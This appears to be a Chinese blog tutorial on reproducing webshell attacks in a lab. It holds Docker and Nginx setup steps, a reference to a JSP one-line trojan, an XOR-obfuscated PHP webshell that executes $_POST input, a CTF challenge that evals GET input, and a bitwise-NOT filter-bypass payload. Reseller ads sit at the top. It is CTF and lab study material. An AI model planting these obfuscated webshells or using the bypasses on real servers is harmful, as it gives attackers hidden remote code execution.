webshell实践复现
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |
目录
一.Nginx负载均衡反向代理及负载均衡配置以省略
注需要三台主机搭建下载Nginx环境在配置文件即可
1.环境搭建
将文件上传至虚拟机中再用docker-compose加载一下即可
docker ps -a ---查看端口号
2.复现
1.编辑文件 /etc/nginx/conf.d/default.conf 如下然后在docker exec -it 067382028d2f /bin/bash
下面的webapps下面的ROOT里面有一个ant.jsp文件里面存放了一句话木马和连接密码ant
upstream lbspool {
server lbsnodel:8080;
server ibsnode2:8080
}
server {
listen 80 default_server;
server_name -;
charset utf-8;
root /usr/share/nginx/html;
index index.jsp index.html index.htm;
location / {
proxy_pass http://lbspool;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
2.浏览器访问连接测试 IP为本地IP地址端口号以查出的端口为准
二.webshell实践
1异或操作绕过
典型的异或操作绕过PHP中是可以以下划线开头为变量名的所以$_代表名为_的变量
<?php
$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
执行getFlag函数通过GET传参并对code参数进行了字母大小写和数字过滤这道题就可以用异或操作来绕过
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
2取反绕过
<?php
$a = "getFlag";
echo urlencode(~$a);
?>
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
%98%9A%8B%B9%93%9E%98这一串字符串先经过urldecode解码后交给后端处理
取反符号将url解码后的字符串转换成了getFlag赋值给$_然后执行拿到flag
3php语法绕过
<?php
$a='Z';
echo ++$a; //AA
echo ++$a; //AB
?>
在处理字符变量的算数运算时PHP 沿袭了 Perl 的习惯而非 C 的。例如在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA'而在 C 中a = 'Z'; a++; 将把 a 变成 '[''Z' 的 ASCII 值是 90'[' 的 ASCII 值是 91。注意字符变量只能递增不能递减并且只支持纯字母a-z 和 A-Z。递增递减其他字符变量则无效原字符串没有变化